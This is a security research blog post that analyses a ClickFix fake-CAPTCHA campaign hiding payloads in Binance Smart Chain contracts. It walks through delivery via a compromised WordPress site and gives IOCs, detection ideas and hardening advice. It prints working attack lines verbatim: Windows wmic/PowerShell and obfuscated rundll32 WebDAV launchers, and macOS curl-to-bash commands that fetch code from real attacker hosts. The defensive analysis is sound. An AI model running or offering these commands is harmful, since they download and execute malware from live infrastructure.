<- back to research blog
clickfixetherhidingmalware-analysisphishingwindowsmacosdetection

Deconstructing a ClickFix variant using smart contracts for payload delivery

Code, tooling & IOCs on GitHub

When the CAPTCHA Is the Attack: Anatomy of a ClickFix + EtherHiding Campaign

A real-world walkthrough of a fake “I’m not a robot” page that tricks victims into infecting themselves — and hides its malware on the blockchain so it can’t be taken down.

Introduction

For the past years we’ve trained users to fear the obvious: the suspicious attachment, the misspelled login page, the “you’ve won a prize” pop-up. Attackers have noticed. The most effective campaigns of the last two years barely look like attacks at all — they look like the small, boring chores we click through every day. CAPTCHA checks. “Verify you are human.” Cloudflare loading screens.

This article dissects one such campaign, observed in the wild in June 2026, that combines two trends security teams should understand:

  1. ClickFix — a social-engineering technique that doesn’t deliver malware to the victim; it convinces the victim to run the malware themselves, by disguising a malicious command as “verification steps.”
  2. EtherHiding — a hosting technique where the malware’s payload is stored inside smart contracts on a public blockchain instead of on a normal web server, making it effectively impossible to seize, block, or take down.

What makes this case especially instructive is the entry point: the malicious link did not arrive from a stranger. It came by email from a friend — the owner of a small photography business whose website and mailbox had been compromised. The attacker didn’t break the victim’s defenses; they borrowed someone the victim already trusted.

This is a story about how a chain of individually-clever tricks adds up to an attack that sails past spam filters, antivirus, sandboxes, and domain blocklists — and why the last and best line of defense is an informed human.

The 30-second version

A person received an email from a friend with a link. The friend’s website had been hacked. Visiting it showed a normal page, then a fake “I’m not a robot” box. The box told the visitor to press Win + R, then Ctrl + V, then Enter — claiming this completes the verification. In reality the page had silently copied a malicious command to the clipboard. Following the “steps” pasted and ran that command, which quietly downloaded and executed malware using the computer’s own built-in tools. The malware’s code was hidden on a blockchain and a public code CDN, so there was nothing for traditional blocklists to catch.

The ClickFix + EtherHiding attack path

Stage 0 — The human entry point: a friend’s compromised site

The campaign began with an email from a trusted contact — the owner of ironischlederphotography.com, a legitimate small photography business running WordPress. Both the website and, by extension, the owner’s outreach were abused to distribute the link.

This is the part no technical control fixes cleanly. The sender was real. The relationship was real. There was no malicious attachment and no spoofed domain to flag. Trust was the exploit.

Lesson: Compromised legitimate websites are the preferred delivery infrastructure for modern campaigns. A link from someone you know is not evidence that the destination is safe — their account or site may be the thing that’s compromised.

Stage 1 — A normal-looking page with one hidden line

The photography site loaded normally — real content, real images. But the attacker had injected a single line into the page’s <head>:

<script src="data:text/javascript;base64,<obfuscated code>"></script>

Two clever details:

Decoded, that script is a tiny loader. It doesn’t contain the attack — it knows how to go and fetch the attack.

Stage 2 — EtherHiding: fetching malware from the blockchain

Here is the standout technique. Instead of downloading its next stage from a web server, the loader makes a read-only call to a smart contract on Binance Smart Chain (BSC) testnet:

POST https://bsc-testnet-rpc.publicnode.com/
{"method":"eth_call","params":[{"to":"0xA1dec…d2e","data":"0x6d4ce63c"}, "latest"], ...}

The contract returns a blob of data, which the loader decodes and runs (eval(atob(...))). That blob is the next stage of the attack.

Why attackers love this (“EtherHiding”):

This technique has been associated with financially-motivated threat clusters (publicly tracked under names such as UNC5142 / “CLEARFAKE”) and is increasingly bolted onto ClickFix lures.

How this infrastructure differs from classic phishing

Traditional phishing rents infrastructure you can find and take down — a lookalike domain, a hosting account, a credential-harvesting server. This campaign deliberately avoids all of it, which is what makes it so durable:

Function Classic phishing This ClickFix + EtherHiding campaign
Delivery Attacker-registered lookalike domain Compromised legitimate site (a real business’s WordPress)
Payload hosting Attacker web server / bulletproof host Public blockchain smart contracts (immutable) + a trusted CDN (jsDelivr/GitHub)
Next-stage fetch Download from an attacker domain Read-only eth_call to a public RPC node — nothing a URL blocklist recognizes
Malware delivery Malicious attachment / EXE download No file at all — the victim pastes a command that runs built-in OS tools
C2 / exfil Attacker domain or IP WebDAV-over-HTTPS to a throwaway host; per-victim subdomains
Take-down surface Registrar, host, mailbox Almost none — a blockchain can’t be seized; a CDN/GitHub abuse report is the only handle

The through-line: every component is either something you already trust (a friend’s site, GitHub, a CDN, HTTPS) or something nobody can take down (a blockchain). There is no attacker-owned server sitting in the request path to block — which is precisely why the human “paste this” step ends up being the load-bearing control.

Stage 3 — “Am I being watched?” and choosing a target

The stage fetched from the blockchain is not the lure yet — first it runs anti-analysis checks:

If either trips, it silently bails — in this sample it literally logs "stop watching us :)". Only a real human on a real browser proceeds.

It then fingerprints the OS and pulls a different blockchain-hosted payload for Windows vs macOS (Linux and everything else get nothing). It even tags each victim with a unique ID and reports successful infections back to a separate “goal reached” tracking contract — the criminals run their own analytics.

Lesson: Modern web malware actively fights back against sandboxes and analysts. “It looked benign in my sandbox” is no longer reassuring.

Stage 4 — The fake CAPTCHA and the ClickFix trick

Now the lure appears: a polished, full-screen overlay styled like Google reCAPTCHA — “I’m not a robot,” with a spinner and a “Complete these Verification Steps” panel:

To better prove you are not a robot, please:

  1. Press & hold the Windows Key + R.
  2. In the verification window, press Ctrl + V.
  3. Press Enter on your keyboard to finish.

It even shows a reassuring fake line: ✅ “I am not a robot — reCAPTCHA Verification ID: 146820.”

What the victim cannot see is that the page already ran navigator.clipboard.writeText(...) and planted a malicious command on the clipboard. The “verification steps” are simply a friendly way of saying:

This is the entire genius of ClickFix: the malware is never “delivered” in a way a filter can catch. The victim copies and runs it by hand, so to the operating system it looks like a deliberate, user-initiated action.

The live ClickFix lure on the still-compromised site (Windows), with the silently-planted clipboard command revealed beneath it

A real capture of the live attack — note the genuine address bar (ironischlederphotography.com) and the real photography page behind a fake “Verification Steps” overlay (still serving in July 2026). The panel walks the user through Win + R → Ctrl + V → Enter; the command the page silently copied to the clipboard is shown beneath the shot — the victim never sees it, which is the entire point. The “reCAPTCHA Verification ID” is randomised theatre.

Stage 5 — What actually runs (Windows)

The command planted on the clipboard has two observed variants — the original, and a reworked one captured live in July 2026:

Variant A — June:

wmic process call create "powershell -WI 1 -nop -c iex(irm cdn.jsdelivr.net/gh/arinao7/6e91d58f-acdf/key)"

Variant B — July:

conhost.exe --headless --inheritcursor --width 80 --height 30 -- cmd /v:on /c "set a=pu&set b=shd&set c=run&set d=dll32&for %x in (!a!!b!) do @%x \\oroavju.hi-lo.bet@SSL@443\<id> & !c!!d! pf.ch,#1"

Variant B drops the jsDelivr/PowerShell hop and goes straight to WebDAV: conhost.exe --headless runs the shell with no window, and cmd /v:on delayed-expansion rebuilds the verbs from fragments (pu+shd = pushd, run+dll32 = rundll32) so the tell-tale strings never appear literally. Same end state — mount the WebDAV share and rundll32 pf.ch,#1.

Breaking down Variant A:

wmic process call create Process Spawning

Launch a process via Windows Management Instrumentation (WMI).

Evasion Strategy: The new process is parented to a system service (WmiPrvSE.exe) rather than the parent Run dialog or macro process. This effectively breaks traditional "suspicious parent/child" heuristic detection blocks.
powershell -WI 1 Window Execution

PowerShell initialization with window execution bounds hidden.

Evasion Strategy: The target execution space remains completely invisible on the victim's interactive desktop, preventing visual compromise warnings.
iex(irm ...) Memory Stage

Execution shortcut for Invoke-Expression(Invoke-RestMethod ...).

Evasion Strategy: Dynamically downloads the staging payload and streams it directly into system memory execution frames, avoiding writing files to local disk surfaces where AV scanner hooks trigger.

The downloaded script (recovered from the public CDN/GitHub) is tiny but potent:

$si=([wmiclass]'Win32_ProcessStartup').CreateInstance();$si.ShowWindow=0;
([wmiclass]'Win32_Process').Create('cmd /c pushd \\c868.mabanishimi.xyz@SSL\<id> & rundll32 pf.ch,#1',$null,$si)

This:

Every step uses tools already built into Windows (wmic, powershell, rundll32, WebDAV). This is “living off the land,” and it’s why there’s no neat “virus file” for antivirus to quarantine.

Stage 5 (macOS) — the same trick, aimed at the Terminal

ClickFix is not a Windows-only problem. This campaign served a parallel macOS payload (chosen automatically back in Stage 3 by fingerprinting the operating system). Mac users are increasingly targeted precisely because many assume “Macs don’t get malware” and let their guard down.

The macOS lure shows the same fake-CAPTCHA overlay, but the “verification steps” are adapted to the Mac:

  1. Open Terminal (e.g. press ⌘ + Space, type Terminal, press Return).
  2. Press ⌘ + V to paste.
  3. Press Return to finish.

And the command silently planted on the clipboard — both observed variants (only the C2 host rotates):

Variant A — June:

/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL '<victim-id>.enfejwin.com/?ublib=<id>')"; echo "BotGuard: Answer the protector challenge. Ref: 73282"

Variant B — July:

/bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL '<victim-id>.prozhedownload.net/?ublib=<id>')"; echo "BotGuard: Answer the protector challenge. Ref: 73282"

Structurally identical — only the C2 host rotated (enfejwin[.]com → prozhedownload[.]net). What it does:

The macOS variant of the fake reCAPTCHA lure, captured live — with the command it silently copied to the clipboard revealed beneath it

The same kit, macOS variant — captured live from ironischlederphotography.com, with the command it silently planted on the clipboard shown beneath (the victim never sees this). Only the “steps” change — Open Terminal → ⌘ + V → Enter — and the payload swaps the Windows launcher for a curl | bash one-liner from the rotating *.prozhedownload[.]net C2. Same social-engineering skeleton, different operating system.

Critical point for Mac fleets: macOS Gatekeeper and notarization do not stop this. Those protections inspect downloaded applications; a curl | bash one-liner is an interpreted shell script that never becomes a quarantined app, so it slips straight past Gatekeeper. The Mac is not inherently safe here — the human step is, again, the deciding control.

Why this campaign beats traditional defenses

Defense Why it misses this attack
Spam filter The email came from a real, trusted friend; the link was a real, legitimate (but hacked) website.
Domain/URL blocklist Stages live on a blockchain and a trusted CDN (jsDelivr/GitHub) — not on blockable bad domains.
Antivirus (file scanning) Nothing malicious is written to disk; execution is in-memory and via built-in OS tools.
Sandbox detonation The payload detects sandboxes and refuses to run; it also gates by OS and rejects automated browsers.
“Suspicious parent process” rules WMI re-parents the malicious process under a system service.
The user’s instinct The lure impersonates a routine, trusted UI (a CAPTCHA) and frames the dangerous action as a security check.

The attack is a stack of individually-modest tricks that together remove almost every automated tripwire — leaving the human decision as the deciding control.

Indicators of Compromise (IOCs)

Shared for community defense. The attacker infrastructure is below. ironischlederphotography[.]com is an innocent, compromised legitimate site — included so others can recognize and help remediate it, not as a malicious actor. Indicators are defanged (. → [.]) so they can’t be clicked by accident; the literal command examples earlier in this post are left intact for accuracy.

Delivery

Malware delivery / C2

EtherHiding — BSC contracts (read via eth_call, selector 0x6d4ce63c, RPC bsc-testnet-rpc.publicnode[.]com)

Host artifacts (Windows) — both delivery variants

Copy-ready IOC list

Defanged for safe copy/paste. Re-fang ([.] → .) before loading into tooling.

# Compromised delivery site (VICTIM — do not block indiscriminately)
ironischlederphotography[.]com

# Windows downloader (Variant A, June)
cdn.jsdelivr[.]net/gh/arinao7/6e91d58f-acdf/key
raw.githubusercontent[.]com/arinao7/6e91d58f-acdf/main/key
github-user: arinao7
github-repo: arinao7/6e91d58f-acdf

# WebDAV C2 hosts
c868.mabanishimi[.]xyz        # Variant A (Windows)
oroavju.hi-lo[.]bet           # Variant B (Windows); base hi-lo[.]bet
remote-dll: pf.ch,#1

# macOS C2 (host rotates: <8-char>.<host>/?ublib=<uuid>, UA "Mac OS X 10_15_7")
*.prozhedownload[.]net        # current (e.g. 44tnfuwf.prozhedownload[.]net)
*.enfejwin[.]com              # June

# Fingerprinting / infra
ip-info.ff.avast[.]com        # abused legitimate geo-IP service
bsc-testnet-rpc.publicnode[.]com   # BSC RPC used for eth_call payload fetch

# EtherHiding BSC contracts (eth_call selector 0x6d4ce63c)
0xA1decFB75C8C0CA28C10517ce56B710baf727d2e   # stage-1 router
0x46790e2Ac7F3CA5a7D1bfCe312d11E91d23383Ff   # Windows stage
0x68DcE15C1002a2689E19D33A3aE509DD1fEb11A5   # macOS stage
0xf4a32588b50a59a82fbA148d436081A48d80832A   # infection tracker

# Host artifacts
browser-cookie: cjs_id

Detection & hunting ideas

For defenders running EDR (e.g., SentinelOne, CrowdStrike, Defender) or SIEM. The Windows delivery has two known variants — hunt for both:

Investigation lead: re-detonate with a headless browser

The payload is OS-gated (it fingerprints the OS and serves a different command to Windows vs macOS) and sandbox-aware (it bails — logging "stop watching us :)" — on headless/automation tells and on localhost/RFC1918 addresses). That makes a headless browser driven from an isolated VM the most reliable way to pull both per-OS payloads and to check for infrastructure rotation. Method:

This is exactly how the rotation surfaced: between the June capture and a July re-detonation, the macOS C2 moved (enfejwin[.]com → prozhedownload[.]net) and the Windows chain was reworked — from wmic + powershell iex(irm jsdelivr…) to a conhost.exe --headless launcher going straight to WebDAV, with pushd/rundll32 obfuscated via cmd /v:on. Detections built only on the first sample had already gone blind to the newer build.

Headless detonation from an isolated VM (Playwright) capturing the live Windows payload without executing it

Guardrails: isolated VM + non-corporate, non-attributable exit only. Visiting the live page contacts attacker infrastructure — it exposes your egress IP and pings the operator’s victim-tracking contract — so never from an analyst workstation or corporate VPN, and never paste the captured command into a shell.

How to protect people (and yourself)

The one rule that defeats ClickFix entirely:

No legitimate website, CAPTCHA, or error page will ever ask you to press Win + R, open PowerShell/Terminal, or copy-and-paste a command to “prove you’re human” or “fix” something. If you’re ever asked to do that — stop. It is an attack.

For everyone:

For organizations:

Platform hardening: take away the lure’s key step

ClickFix depends on the victim being able to open a command surface and run a pasted command. On managed devices you can remove or restrict exactly that step. Treat these as defense-in-depth layers, not a single silver bullet — a determined variant can pivot to a different launcher, so pair “remove the entry point” with “block the execution.”

Windows — disable Win + R via Group Policy (GPO)

The dominant ClickFix flow is Win + R → Ctrl + V → Enter. Removing the Run dialog kills that exact step:

Pair the Win+R block with controls that stop the execution, in case a variant says “open PowerShell” instead:

macOS — restrict the Terminal (the closest analog)

There is no single “disable the shortcut” toggle on macOS, and — as noted above — Gatekeeper/notarization will not stop curl | bash. The effective lever is restricting and monitoring the Terminal and shell execution through your MDM (Jamf, Intune, Kandji, Mosyle):

Both platforms

Responsible disclosure

The compromised photography website and its owner are victims of this campaign. The appropriate response is to help them clean and harden their site (and reset credentials), and to report the attacker-controlled GitHub repository and CDN path for takedown — not to treat the innocent site as the adversary.

Conclusion

This campaign is a tidy illustration of where attacker innovation is heading: away from breaking systems and toward borrowing trust. It chains a hacked friend’s email, a hidden script, a blockchain that can’t be taken down, sandbox-evasion, a convincing fake CAPTCHA, and the victim’s own hands — and in doing so slips past nearly every automated defense we’ve built.

The good news is that the whole elaborate chain still hinges on one human action that is completely avoidable once you know the pattern. Teach people the single rule — real verification never asks you to run a command — and this entire class of attack collapses.

Stay curious, verify out-of-band, and never let a robot check turn you into the robot.